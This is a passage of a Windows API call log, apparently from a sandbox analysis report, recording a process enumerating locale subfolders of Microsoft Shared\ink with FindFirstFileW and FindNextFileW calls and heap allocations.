returned 0x470000 [0079.614] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0079.614] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0080.055] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.055] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0080.055] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0080.055] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0080.055] GetProcessHeap () returned 0x470000 [0080.055] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0080.056] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0080.056] GetProcessHeap () returned 0x470000 [0080.056] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0080.056] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0080.056] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.056] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0080.056] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0080.057] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0080.057] GetProcessHeap () returned 0x470000 [0080.057] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0080.057] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0080.057] GetProcessHeap () returned 0x470000 [0080.057] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0080.057] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0080.057] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.057] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0080.057] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0080.057] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0080.057] GetProcessHeap () returned 0x470000 [0080.057] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0080.058] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0080.058] GetProcessHeap () returned 0x470000 [0080.058] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0080.058] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0080.058] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.058] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0080.058] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0080.058] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0080.058] GetProcessHeap () returned 0x470000 [0080.058] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0080.058] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0080.058] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0080.059] GetProcessHeap () returned 0x470000 [0080.059] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0080.059] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0080.059] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.059] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0080.059] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0080.059] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0080.059] GetProcessHeap () returned 0x470000 [0080.059] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0080.059] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0080.059] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0080.059] GetProcessHeap () returned 0x470000 [0080.059] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0080.060] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0080.060] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.060] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0080.060] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0080.060] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0080.060] GetProcessHeap () returned 0x470000 [0080.060] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0080.060] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0080.060] GetProcessHeap () returned 0x470000 [0080.060] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0080.060] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0080.060] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.060] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0080.061] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0080.061] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0080.061] GetProcessHeap () returned 0x470000 [0080.061] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0080.061] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0080.061] GetProcessHeap () returned 0x470000 [0080.061] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x326a0d0 [0080.061] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0080.061] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.062] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0080.062] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0080.062] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0080.062] GetProcessHeap () returned 0x470000 [0080.062] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x326a0d0 | out: hHeap=0x470000) returned 1 [0080.062] FindNextFileW (in: hFindFile=0x32552c0, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x10, 